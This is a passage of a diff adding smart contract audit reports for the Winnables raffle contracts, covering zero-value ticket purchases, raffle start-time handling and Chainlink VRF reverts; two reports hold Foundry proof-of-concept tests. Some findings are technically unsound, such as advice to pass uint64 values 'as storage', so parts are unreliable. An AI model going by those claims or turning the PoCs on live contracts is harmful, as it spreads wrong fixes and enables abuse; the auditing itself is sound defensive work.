); + } + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } + IWinnablesTicket(TICKETS_CONTRACT).mint(msg.sender, raffleId, ticketCount); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +The function is marked payable in order for an user to send funds and purchase tickets. But there are no checks made to ensure the value sent to this function can't be zero. Anyone can call the function without sending any eth and buy tickets. + +## Impact +Impact: High +Likelihood: High +I am marking this issue as high as anyone can call the function and buy tickets for free(i.e. without sending eth). + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210 + +## Tool used + +Manual Review + +## Recommendation +Implement checks to ensure `msg.value` can't be `0`. +E.g. +```diff +++ if(msg.value==0) revert zeroValueSent(); +``` \ No newline at end of file diff --git a/006/600.md b/006/600.md new file mode 100644 index 0000000..2e023fa --- /dev/null +++ b/006/600.md @@ -0,0 +1,24 @@ +Dizzy Quartz Cuckoo + +Medium + +# WinnablesTicketManager::buyTickets` function doesn't checks for `msg.value=0` condition, one can buy tickets for free. + +## Summary +There is no check present in the `WinnablesTicketManager::buyTickets` function to ensure `msg.value` can't be zero, if it becomes zero then one can buy tickets for free. + + +## Vulnerability Detail +The function is marked payable in order for an user to send funds and purchase tickets. But there are no checks made to ensure the value sent to this function can't be zero. Anyone can call the function without sending any eth and buy tickets.Even the function `WinnablesTicketManager::_checkPurchaseSig` which is callled in `buyTickets` to check the signature isnt validating msg.value. +## Impact +One can buy the ticket for free. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L182 +_checkPurchaseSig +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L448 +## Tool used + +Manual Review + +## Recommendation +add a check to validate that msg.value is equal to the decided prize of a ticket \ No newline at end of file diff --git a/007.md b/007.md new file mode 100644 index 0000000..1bc6225 --- /dev/null +++ b/007.md @@ -0,0 +1,50 @@ +Sour Denim Alpaca + +High + +# Improper Use of unchecked in Arithmetic Operations at WinnablesPrizeManager contract + +### Summary + +Line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L114 +Line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L117 +Line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L241 +Line: https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L288 + +The unchecked keyword is used in multiple places to bypass overflow checks in arithmetic operations. + +```solidity +unchecked { _tokensLocked[tokenInfo.tokenAddress] -= tokenInfo.amount; } +unchecked { _ethLocked -= _ethRaffles[raffleId]; } +``` +If an overflow occurs in these operations, it could lead to incorrect balances being recorded, causing the contract to either lock more tokens or ETH than it actually has, or allowing withdrawals of more than what should be possible. + + + +### Root Cause + +Unchecked is unreliable + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +If an overflow occurs in these operations, it could lead to incorrect balances being recorded, causing the contract to either lock more tokens or ETH than it actually has, or allowing withdrawals of more than what should be possible. + +### PoC + +_No response_ + +### Mitigation + +Remove the unchecked keyword and allow the default Solidity overflow checks to occur. \ No newline at end of file diff --git a/007/016.md b/007/016.md new file mode 100644 index 0000000..14e367f --- /dev/null +++ b/007/016.md @@ -0,0 +1,53 @@ +Dandy Blonde Carp + +Medium + +# Raffle can be created in past due to wrong implementation of `_checkRaffleTimings()` + +## Summary +Raffle can be created in past due to wrong implementation of `_checkRaffleTimings()` + +## Vulnerability Detail +A raffle is created using tokenManager:createRaffle(), which internally calls `_checkRaffleTimings()` to check that raffle's start time and end time are consistent with the rules. +```solidity + function createRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings + ) external onlyRole(0) { +@> _checkRaffleTimings(startsAt, endsAt); +... + } +``` + +Rules: +1. if `startsAt` is less than `block.timestamp`, use block.timestamp as the reference +2. Raffle duration should be at least MIN_RAFFLE_DURATION +```solidity + /// @dev Checks that a raffle's start time and end time are consistent with the rules: + /// - If startsAt is less than block.timestamp use block.timestamp as the reference + /// - Raffle duration should be at least MIN_RAFFLE_DURATION + /// @param startsAt Raffle scheduled starting time + /// @param endsAt Raffle scheduled ending time + function _checkRaffleTimings(uint64 startsAt, uint64 endsAt) internal view { +@> if (startsAt < block.timestamp) startsAt = uint64(block.timestamp); + if (startsAt + MIN_RAFFLE_DURATION > endsAt) revert RaffleClosingTooSoon(); + } +``` +Now the problem is, if `startAt` is less than block.timestamp then `startsAt = uint64(block.timestamp)` reflects only in _checkRaffleTimings() but not in createRaffle() because `startAt` is updated only for `_checkRaffleTimings()` + +## Impact +Raffle can be created for past timestamp + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L260 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L399C3-L402C6 + +## Tool used +Manual Review + +## Recommendation +Integrate the checks of `_checkRaffleTimings()` in createRaffle() itself or return the updated value of startsAt from `_checkRaffleTimings` & use it in createRaffle() diff --git a/007/042.md b/007/042.md new file mode 100644 index 0000000..cbb69f3 --- /dev/null +++ b/007/042.md @@ -0,0 +1,228 @@ +Itchy Mahogany Turtle + +Medium + +# Raffle Start Time Adjustment Fails to Update Properly + +### Summary + +The `WinnablesTicketManager` smart contract exhibits a flaw in the `_checkRaffleTimings` function, which inadequately handles the adjustment of the raffle start times (`startsAt`). The issue is specifically related to instances where the specified start time is in the past compared to the current blockchain time (`block.timestamp`). The function correctly calculates an adjusted start time to prevent past-dated raffles but fails to propagate this adjusted value back to the raffle creation logic. This oversight can cause raffles to incorrectly begin in the past, leading to potential administrative complications and participant confusion. + +### Root Cause + + + +The root cause of the issue lies in the scope and mutability of the variable `startsAt` within the `_checkRaffleTimings` function. The function is designed to check and adjust the `startsAt` variable to ensure it is not set in the past: + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/e8b0603f6a155c7505dacc77194ae6789d0dbe7a/public-contracts/contracts/WinnablesTicketManager.sol#L399C5-L402C6 + +```solidity +function _checkRaffleTimings(uint64 startsAt, uint64 endsAt) internal view { + if (startsAt < block.timestamp) startsAt = uint64(block.timestamp); + if (startsAt + MIN_RAFFLE_DURATION > endsAt) revert RaffleClosingTooSoon(); +} + +``` + +Here, `startsAt` is a local copy of the argument passed to the function. When this local variable is updated (i.e., set to the current `block.timestamp` if it was originally in the past), the change does not affect the actual `startsAt` value used in the `createRaffle` function. This is because primitive data types like uint64 are passed by value in Solidity, not by reference. Therefore, modifications to `startsAt` within the function do not propagate back to the calling context. + +As a result, even though `_checkRaffleTimings` internally enforces that raffles cannot start in the past by adjusting `startsAt,` this adjustment is not reflected in the raffle's recorded start time, allowing the creation of raffles with start times that have already elapsed. + +### Internal pre-conditions + + + +No special internal conditions required for this bug. + +### External pre-conditions + +No External pre-conditions are required. + + + +### Attack Path + +Call `createRaffle` with `startsAt` in the past. + +### Impact + +## Impact + +The failure to correctly update the `startsAt` parameter for raffles with start times set in the past can lead to several impactful consequences: + +1. **Participant Confusion**: Participants may be misinformed about the actual start time of a raffle, leading to confusion and possibly a loss of trust if the raffle appears to start earlier than advertised. This could affect participant engagement and the perceived reliability of the platform. + +2. **Financial Implications**: An unexpectedly early raffle start can result in a shorter ticket sales window, potentially reducing the total revenue generated from ticket sales. This could impact the financial outcomes for both organizers and potential beneficiaries of the raffle proceeds. + + + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.24; + +import "forge-std/Test.sol"; +import "forge-std/console.sol"; +import "../contracts/WinnablesTicketManager.sol"; +import "../contracts/interfaces/IWinnables.sol"; // Check if IWinnables is the correct interface as used in the main contract. + + +contract MockIERC20 is IERC20 { + function totalSupply() external view returns (uint256) {} + function balanceOf(address account) external view returns (uint256) {} + function transfer(address recipient, uint256 amount) external returns (bool) {} + function allowance(address owner, address spender) external view returns (uint256) {} + function approve(address spender, uint256 amount) external returns (bool) {} + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {} +} + + +contract MockVRFConsumerBaseV2 is VRFConsumerBaseV2 { + constructor(address coordinator) VRFConsumerBaseV2(coordinator) {} + + // Implementing the abstract function with an empty body for testing + function fulfillRandomWords(uint256 requestId, uint256[] memory randomWords) internal override {} +} + +contract WinnablesTicketManagerTest is Test, IWinnables { + WinnablesTicketManager winnablesTicketManager; + address mockLinkToken; + address mockVrfCoordinator; + uint64 subscriptionId = 1; + bytes32 keyHash = "0xabcdef"; + address mockTicketsContract; + address mockCCIPRouter; + + struct Any2EVMMessage { + bytes32 messageId; // MessageId corresponding to ccipSend on source + uint64 sourceChainSelector; // Source chain selector + bytes sender; // abi.decode(sender) if coming from an EVM chain + bytes data; // payload sent in original message + EVMTokenAmount[] tokenAmounts; // Tokens and their amounts at destination + } + + struct RaffleDetails { + uint64 startsAt; + uint64 endsAt; + uint32 minTicketsThreshold; + uint32 maxTicketSupply; + uint32 maxHoldings; + uint256 totalRaised; + RaffleStatus status; + uint256 chainlinkRequestId; + } + + struct EVMTokenAmount { + address token; // token address on local blockchain + uint256 amount; + } + + function setUp() public { + mockLinkToken = address(new MockIERC20()); + mockVrfCoordinator = address(new MockVRFConsumerBaseV2(address(this))); + mockTicketsContract = address(new MockIERC20()); + mockCCIPRouter = address(this); + + winnablesTicketManager = new WinnablesTicketManager( + mockLinkToken, + mockVrfCoordinator, + subscriptionId, + keyHash, + mockTicketsContract, + mockCCIPRouter + ); + } + + function getAndLogRaffleDetails(uint256 raffleId) internal returns (uint64, uint64, uint32, uint32, uint32, uint256, RaffleStatus, uint256) { + (uint64 startsOut, uint64 endsOut, uint32 minOut, uint32 maxOut, uint32 maxHoldOut, uint256 totalRaisedOut, RaffleStatus statusOut, uint256 chainlinkRequestIdOut) + = winnablesTicketManager.getRaffle(raffleId); + + console.log("Starts At: %s, Ends At: %s", startsOut, endsOut); + console.log("Min Tickets: %s, Max Tickets: %s, Max Holdings: %s", minOut, maxOut, maxHoldOut); + console.log("Total Raised: %s, Status: %s, Chainlink Request ID: %s", totalRaisedOut, uint(statusOut), chainlinkRequestIdOut); + + return (startsOut, endsOut, minOut, maxOut, maxHoldOut, totalRaisedOut, statusOut, chainlinkRequestIdOut); +} + + function testCreateRaffleStartTimeBeforeTimestamp() public { + uint256 raffleId = 1; + uint64 startsAt = 1; + uint64 endsAt = startsAt + 1 days; + uint32 minTickets = 10; + uint32 maxTickets = 100; + uint32 maxHoldings = 5; + + // Simulate the prize being locked via a CCIP message + address senderAddress = address(this); // Simulate sender address + uint64 chainSelector = 1; // Simulate a chain selector, typically the identifier for the chain + address _senderAddress = senderAddress; + bytes memory ccipData = abi.encode(raffleId); + + // Encode and construct the Any2EVMMessage + Client.EVMTokenAmount[] memory emptyTokenAmounts = new Client.EVMTokenAmount[](0); + Client.Any2EVMMessage memory message = Client.Any2EVMMessage({ + messageId: keccak256(abi.encodePacked(block.timestamp)), + sourceChainSelector: chainSelector, + sender: abi.encode(_senderAddress), + data: ccipData, + destTokenAmounts: emptyTokenAmounts + }); + + winnablesTicketManager.setCCIPCounterpart(_senderAddress, chainSelector, true); + + vm.warp(800); + + vm.prank(_senderAddress); // Mock the caller to be the sender or router + + winnablesTicketManager.ccipReceive(message); + + winnablesTicketManager.createRaffle(raffleId, startsAt, endsAt, minTickets, maxTickets, maxHoldings); + + //uint256 timestamp = block.timestamp; + console.log("current timestamp: ", block.timestamp); + + // Check initial raffle state + getAndLogRaffleDetails(raffleId); + + +} + + +} +``` + + +Test Log + +```solidity + +[PASS] testCreateRaffleStartTimeBeforeTimestamp() (gas: 77073) +Logs: + current timestamp: 800 + Starts At: 1, Ends At: 86401 + Min Tickets: 10, Max Tickets: 100, Max Holdings: 5 + Total Raised: 0, Status: 2, Chainlink Request ID: 0 + +Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.61ms (372.70µs CPU time) + +``` + +### Mitigation + +To address the issue of the `_checkRaffleTimings` function not propagating updates to `startsAt` correctly, the following mitigation strategies can be employed: + +1. **Update Function Signature and Return**: Modify the `_checkRaffleTimings` function to return the potentially updated `startsAt`, and update the `createRaffle` function to use this returned value. This ensures that any adjustment made to the start time within the `_checkRaffleTimings` function is effectively used when creating or updating the raffle. + + ```solidity + function _checkRaffleTimings(uint64 startsAt, uint64 endsAt) internal view returns (uint64) { + if (startsAt < block.timestamp) startsAt = uint64(block.timestamp); + if (startsAt + MIN_RAFFLE_DURATION > endsAt) revert RaffleClosingTooSoon(); + return startsAt; + } + ``` + + In `createRaffle`, adjust accordingly: + ```solidity + raffle.startsAt = _checkRaffleTimings(startsAt, endsAt); + ``` \ No newline at end of file diff --git a/007/248.md b/007/248.md new file mode 100644 index 0000000..c2aaf37 --- /dev/null +++ b/007/248.md @@ -0,0 +1,184 @@ +Zesty Tiger Robin + +Medium + +# WinnablesTicketManager._checkRaffleTimings() will fail to adjust the startsAt when startsAt < block.timestamp. + +### Summary + +WinnablesTicketManager._checkRaffleTimings() will fail to adjust the startsAt when startsAt < block.timestamp. The main reason is that ```startAt``` is a pritmtive type and it is call-by-value, so any change to ```startsAt``` will only change the local value not the one in the caller. + +This is not consistent with the Spec for the function. According to Sherlock's rule, I rank this as a medium. + +[https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L399-L402](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L399-L402) + +### Root Cause + +```startsAt``` is only changed in this fuction, and has no effect on ```startsAt``` in the caller. + +### Internal pre-conditions + +startsAt < block.timestamp and needs adjustment. + +### External pre-conditions + +None. + +### Attack Path + +startsAt < block.timestamp. + +### Impact + +When startsAt < block.timestamp., the adjustment of ```startsAt```` will fail, its value will still be less than block.timestamp. This is not consistent with the spec at the beginining of the fuction. + +### PoC + +The following POC shows that when ```startsAt < block.timestamp```, ```startsAt``` fails to be adjusted. + +run ```forge test --match-test testRaffle1 -vv```. + +```javascript +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Test, console} from "forge-std/Test.sol"; +import {console2} from "forge-std/console2.sol"; +import {WinnablesTicket} from "../contracts/WinnablesTicket.sol"; +import {WinnablesPrizeManager} from "../contracts/WinnablesPrizeManager.sol"; +import {WinnablesTicketManager} from "../contracts/WinnablesTicketManager.sol"; +import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; + +import "../contracts/interfaces/IWinnables.sol"; + +contract RaffleTest is Test { + WinnablesTicket winnablesTicket; + WinnablesPrizeManager winnablesPrizeManager; + WinnablesTicketManager winnablesTicketManager; + + uint256 userPk = 0x12341234; + address John = vm.addr(userPk); // john has role 1 + address Bob = makeAddr("Bob"); + + + + address _linkToken = 0x514910771AF9Ca656af840dff83E8264EcF986CA; + address _usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; + address _vrfCoordinator = 0x271682DEB8C4E0901D1a1550aD2e64D568E69909; + uint64 _subscriptionId = 8403; + bytes32 _keyHash = 0x8af398995b04c28e9951adb9721ef74c74f93e6a478f39e7e0777be13527e7ef; + address _ccipRouter = 0x80226fc0Ee2b096224EeAc085Bb9a8cba1146f7D; + uint256 chainSelector = 5009297550715157269; + + function signMsgHash(bytes32 MsgHash, uint256 userPk) internal view returns (uint8 v, bytes32 r, bytes32 s) + { + // uint256 userPk = 0x12341234; + // address user = vm.addr(userPk); + + return vm.sign(userPk, MsgHash); + } + + function setUp() public { + + + (uint8 v, bytes32 r, bytes32 s) = vm.sign(userPk, bytes32("thank you")); + console2.log("v: ", v); + console2.logBytes32(r); + console2.logBytes32(s); + + + + vm.createSelectFork(vm.envString("ETH_RPC_URL"), 20561507); + + + winnablesTicket = new WinnablesTicket(); + winnablesPrizeManager = new WinnablesPrizeManager(_linkToken, _ccipRouter); + winnablesTicketManager = new WinnablesTicketManager(_linkToken, _vrfCoordinator, _subscriptionId, _keyHash, address(winnablesTicket), _ccipRouter); + + console2.log("WinnablesTicket: ", address(winnablesTicket)); + console2.log("winnnablesPrizeManager: ", address(winnablesPrizeManager)); + console2.log("winnablesTicketManager: ", address(winnablesTicketManager)); + + winnablesTicketManager.setRole(John, 1, true); // make this test contract has the pwoer to authorize a purchase + winnablesTicket.setRole(address(winnablesTicketManager), 1, true); + console2.log("John: ", John); + console2.log("address(this):", address(this)); + + console2.log("EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE\n"); + + } + + function printRaffle(uint256 raffleId, string memory name) public view{ + ( + uint64 startsAt, + uint64 endsAt, + uint32 minTicketsThreshold, + uint32 maxTicketSupply, + uint32 maxHoldings, + uint256 totalRaised, + IWinnables.RaffleStatus status, + uint256 chainlinkRequestId + ) = winnablesTicketManager.getRaffle(raffleId); + console2.log("=================================================================="); + console2.log(name); + console2.log("raffleId: ", raffleId); + console2.log("startsAt: ", startsAt); + console2.log("endsAt: ", endsAt); + console2.log("minTicketsThreashold: ", minTicketsThreshold); + console2.log("maxTicketSupply: ", maxTicketSupply); + console2.log("maxHoldings: ", maxHoldings); + console2.log("totalRaised: ", totalRaised); + console2.log("status: ", uint256(status)); + console2.log("chainlinkRequestId: ", chainlinkRequestId); + console2.log("=================================================================="); + } + + function authorizePurchase(uint256 pk, address buyer, uint256 raffleId, uint16 ticketCount, uint256 blockNumber, uint256 value) + public returns (bytes memory signature){ + bytes32 message = + keccak256( + abi.encodePacked( + buyer, winnablesTicketManager.getNonce(buyer), raffleId, ticketCount, blockNumber, value) + ); + + bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", message)); + console2.log("hash1: "); + console2.logBytes32(hash); + (uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, hash); + return abi.encodePacked(r, s, v); + } + + + function testRaffle1() public { + skip( 1 days); + console2.log("blocktimestamp: ", block.timestamp); + + winnablesTicketManager.createRaffle( + 123, + uint64(block.timestamp - 100), + uint64(block.timestamp + 2 days), // expire after two days + 10, + 100, + 3 + ); + + printRaffle(123, "raffle before buy tickets..."); + + console2.log("block.number", block.number); + // authorize the purchase + bytes memory sig1 = authorizePurchase(userPk, Bob, 123, 2, 30561507, 1 ether); + + vm.startPrank(Bob); + deal(Bob, 100 ether); + winnablesTicketManager.buyTickets{value: 1 ether}(123, 2, 30561507, sig1); + vm.stopPrank(); + + printRaffle(123, "raffle after buy tickets..."); + } + +} +``` + +### Mitigation + +Inline the code of the function inside ```createRaffle()``` directly. \ No newline at end of file diff --git a/007/429.md b/007/429.md new file mode 100644 index 0000000..3b2ba5d --- /dev/null +++ b/007/429.md @@ -0,0 +1,43 @@ +Large Foggy Troll + +Medium + +# _checkRaffleTimings function doesn't work as expected. + +## Summary +The _checkRaffleTimings function tries to update the `startsAt` variable, but this change does not persist outside the scope of the function. +## Vulnerability Detail +When the `createRaffle` function is called, and if the `startsAt` varaible is less than the block.timestamp, the _checkRaffleTimings function is supposed to update it to block.timestamp. This does not work as intended since the `startsAt` variable is not passed as storage. +```solidity +function createRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings + ) external onlyRole(0) { + _checkRaffleTimings(startsAt, endsAt); +``` +Here we can see that the `startsAt`, and `endsAt` variables are being passed as memory instead of storage. This would lead to any updates being made in the `_checkRaffleTimings` function being persisted only in that function scope. + +```solidity +function _checkRaffleTimings(uint64 startsAt, uint64 endsAt) internal view { + if (startsAt < block.timestamp) startsAt = uint64(block.timestamp); + if (startsAt + MIN_RAFFLE_DURATION > endsAt) revert RaffleClosingTooSoon(); + } +``` +This could lead to erroneous `startsAt` and raffle duration for a raffle. + +## Impact + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L399-L402 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L252-L274 + +## Tool used + +Manual Review + +## Recommendation +Pass the variables as storage instead of memory. \ No newline at end of file diff --git a/007/469.md b/007/469.md new file mode 100644 index 0000000..2f2b326 --- /dev/null +++ b/007/469.md @@ -0,0 +1,46 @@ +Bumpy Plastic Bee + +Medium + +# `_checkRaffleTimings()` doesn't work properly in createRaffle() + +## Summary +`_checkRaffleTimings()` doesn't work properly in createRaffle() + +## Vulnerability Detail +_checkRaffleTimings() is used in createRaffle() to check if start & end time of raffle is correct or not. If start time is less than block.timestamp then start time is set to block.timestamp +```solidity + function createRaffle( + uint256 raffleId, + uint64 startsAt, + uint64 endsAt, + uint32 minTickets, + uint32 maxTickets, + uint32 maxHoldings + ) external onlyRole(0) { +-> _checkRaffleTimings(startsAt, endsAt); +... +-> raffle.startsAt = startsAt; +... + } +``` +```solidity + function _checkRaffleTimings(uint64 startsAt, uint64 endsAt) internal view { +-> if (startsAt < block.timestamp) startsAt = uint64(block.timestamp); + if (startsAt + MIN_RAFFLE_DURATION > endsAt) revert RaffleClosingTooSoon(); + } +``` +The issue is, startAt = block.timestamp is set in _checkRaffleTimings() which has no effect on createRaffle(). As result it will not prevent admin from creating raffle in past, for which it was meant to. + +## Impact +_checkRaffleTimings() doesn't work properly as it can't stop admin from creating raffle in past + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L252C3-L274C6 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L399 + +## Tool used +VS code + +## Recommendation +Return the start time from _checkRaffleTimings() & use it raffle.startAt \ No newline at end of file diff --git a/008/347.md b/008/347.md new file mode 100644 index 0000000..bda8b61 --- /dev/null +++ b/008/347.md @@ -0,0 +1,56 @@ +Generous Peanut Okapi + +Medium + +# In the case of `fulfillRandomWords` not being called, funds can be lost forever + +### Summary + +In `WinnablesTicketManager` contract, [`fulfillRandomWords`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L350C14-L350C32) receives random number response from Chainlink VRF. In some special cases, where `fulfillRandomWords` won't be called, either due to insufficient funds or subscription config change, funds and prizes will be locked in contract forever. + +### Root Cause + +The VRF callback function contains crucial logic on handling the state of raffles: +```solidity + function fulfillRandomWords( + uint256 requestId, + uint256[] memory randomWords + ) internal override { + RequestStatus storage request = _chainlinkRequests[requestId]; + Raffle storage raffle = _raffles[request.raffleId]; + if (raffle.status != RaffleStatus.REQUESTED) revert RequestNotFound(requestId); + request.randomWord = randomWords[0]; + raffle.status = RaffleStatus.FULFILLED; + emit WinnerDrawn(requestId); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(request.raffleId); + } +``` + +Once raffle state is fulfilled, it can then be propagated, and its prize can be claimed. However, there exists some tiny possibilities where `fulfillRandomWords` is not called by the VRF function, especially due to insufficient funds, or change of subscription info. When such scenario happens, Chainlink VRF will not automcatically fuifill a request, unless a new request is sent. + +### Internal pre-conditions + +When there are insufficient funds of LINK tokens in contract, or subscription info of Chainlink VRF has changed. + +### External pre-conditions + +`drawWinner` is called, this will change the state of raffle to requested. + +### Attack Path + +1. A malicious actor may observe that some raffles have ended, and at the same time, the balance of LINK tokens in the manager contract is low. +2. The attacker calls `drawWinner` function, as it's open for every one to call. +3. Since `fulfillRandomWords` is never reached, and raffle state is `REQUESTED`, this leaves no option to rescue or re-request a random number. +4. The raffle state is locked, and all funds, including players' funds, prizes will be stuck in the contract forever. + +### Impact + +As mentioned in the attack path, prizes and some of players' funds will be lost forever, however, consider the low probability of subscription being changed, or insufficient LINK tokens, as per noted in README, that admins will make sure there are enough LINK tokens, Medium is a fair severity. + +### PoC + +_No response_ + +### Mitigation + +Add a variable to store how long since the last request has been sent, if a substential amount of time has passed, and raffle still not in `FULFILLED` stated, a new random words request can be sent. Or consider to add balance check to see if there are sufficient balance in contract to initiate such call. \ No newline at end of file diff --git a/008/394.md b/008/394.md new file mode 100644 index 0000000..f3044c7 --- /dev/null +++ b/008/394.md @@ -0,0 +1,41 @@ +Sour Mahogany Sheep + +Medium + +# Raffle Reversion Risk in Chainlink VRF Implementation + +## Summary +According to [Chainlink VRF Security Considerations](https://docs.chain.link/vrf/v2-5/security#fulfillrandomwords-must-not-revert): +```solidity +If your `fulfillRandomWords()` implementation reverts, the VRF service will not attempt to call it a second time. Make sure your contract logic does not revert. +``` + +## Vulnerability Detail +When the VRF service invokes `fulfillRandomWords()`, the function implementation checks that the raffle status is not set to `REQUESTED`. If it is, the function reverts with the message `RequestNotFound()`: +```solidity + function fulfillRandomWords( + uint256 requestId, + uint256[] memory randomWords + ) internal override { + RequestStatus storage request = _chainlinkRequests[requestId]; + Raffle storage raffle = _raffles[request.raffleId]; +@> if (raffle.status != RaffleStatus.REQUESTED) revert RequestNotFound(requestId); + request.randomWord = randomWords[0]; + raffle.status = RaffleStatus.FULFILLED; + emit WinnerDrawn(requestId); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(request.raffleId); + } +``` +As we can see above, the function can potentially revert due to certain conditions. Once a revert happens, the VRF service will not attempt to call it a second time, and the raffle will no longer continue. + +## Impact +If the `fulfillRandomWords()` implementation reverts, the VRF service will not attempt to call it a second time. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L350-L361 + +## Tool used +Manual Review + +## Recommendation +As per the [Chainlink VRF Security Considerations](https://docs.chain.link/vrf/v2-5/security#fulfillrandomwords-must-not-revert): Consider simply storing the randomness and taking more complex follow-on actions in separate contract calls. \ No newline at end of file diff --git a/008/528.md b/008/528.md new file mode 100644 index 0000000..01cb54e --- /dev/null +++ b/008/528.md @@ -0,0 +1,27 @@ +Decent Scarlet Squid + +Medium + +# fulfillRandomWords must not revert + +## Summary +The `fulfillRandomWords` function must not revert because the VRF service will not attempt to call it a second time, which could block the selection of the winner. + +## Vulnerability Detail +Regarding the documentation of VRF, [the fulfillRandomWords function must not revert](https://docs.chain.link/vrf/v2-5/security#fulfillrandomwords-must-not-revert +). + +If `raffle.status != RaffleStatus.REQUESTED`, the `fulfillRandomWords` function will revert with a `RequestNotFound` error, which will block future calls from the VRF service. As a result, the winner selection for the specific raffle will be blocked and the core functionality of the protocol will be hindered. + +## Impact +The winner selection for the specific raffle will be blocked. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L356 + +## Tool used + +Manual Review + +## Recommendation +Ensure that your contract logic does not revert; instead of reverting, simply break the incoming call. \ No newline at end of file diff --git a/008/530.md b/008/530.md new file mode 100644 index 0000000..b695a04 --- /dev/null +++ b/008/530.md @@ -0,0 +1,22 @@ +Dizzy Quartz Cuckoo + +Medium + +# functioin `fullfillRandomWords` isnt according to the official chainlink docs + +## Summary +If your fulfillRandomWords() implementation reverts, the VRF service will not attempt to call it a second time. +## Vulnerability Detail +WinnablesTicketManager::fullfillRandomWords has a check that will revert ` if (raffle.status != RaffleStatus.REQUESTED) revert RequestNotFound(requestId);` which isnt acc to official docs. + +https://docs.chain.link/vrf/v2/security#fulfillrandomwords-must-not-revert +## Impact +the VRF service will not attempt to call it a second time. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L356 +## Tool used + +Manual Review + +## Recommendation +Remove the revert statement and handle it with a different logic \ No newline at end of file diff --git a/008/554.md b/008/554.md new file mode 100644 index 0000000..0361c87 --- /dev/null +++ b/008/554.md @@ -0,0 +1,53 @@ +Brave Mahogany Lizard + +Medium + +# https://github.com/sherlock-audit/2024-08-winnables-raffles-tamoghna-dey/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L347-L361 + +## Summary +The implementation of `WinnablesTicketManager::fulfillRandomWords` function is not as per the guidelines provided by Chainlink VRF. + +## Vulnerability Detail +The `WinnablesTicketManager::fulfillRandomWords` function: + +```solidity + /// @notice (Chainlink VRF Coordinator) Use given random number as a result to determine the winner of a Raffle + /// @param requestId ID of the VRF request to fulfill + /// @param randomWords Array of 32 bytes integers sent back from the oracle + function fulfillRandomWords( + uint256 requestId, + uint256[] memory randomWords + ) internal override { + RequestStatus storage request = _chainlinkRequests[requestId]; + Raffle storage raffle = _raffles[request.raffleId]; + if (raffle.status != RaffleStatus.REQUESTED) revert RequestNotFound(requestId); + //@audit as per chainlink VRF documentation the function must not revert + // but the above statement in case the status is not "REQUESTED" then it will revert + // https://docs.chain.link/vrf/v2/security#fulfillrandomwords-must-not-revert + request.randomWord = randomWords[0]; + raffle.status = RaffleStatus.FULFILLED; + emit WinnerDrawn(requestId); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(request.raffleId); + } +``` +As per the **VRF Security Considerations** : +*`fulfillRandomWords` must not revert* . [Check here](https://docs.chain.link/vrf/v2/security#fulfillrandomwords-must-not-revert) + +But in the function this line : 